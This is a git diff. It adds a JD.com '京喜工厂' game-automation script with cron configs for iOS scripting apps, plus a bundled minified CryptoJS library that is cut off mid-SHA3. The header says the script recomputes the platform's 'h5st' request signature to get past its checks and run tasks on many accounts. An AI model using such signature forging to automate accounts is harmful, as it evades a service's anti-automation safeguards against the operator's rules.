RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dreamFactory.js b/jd_dreamFactory.js new file mode 100644 index 0000000..f7fa6ea --- /dev/null +++ b/jd_dreamFactory.js @@ -0,0 +1,1676 @@ +/* +京东京喜工厂 +更新时间:2021-6-7 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂 +10 * * * * jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_dreamFactory.js,tag=京喜工厂 + +===============Surge================= +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory.js + +============小火箭========= +京喜工厂 = type=cron,script-path=jd_dreamFactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = 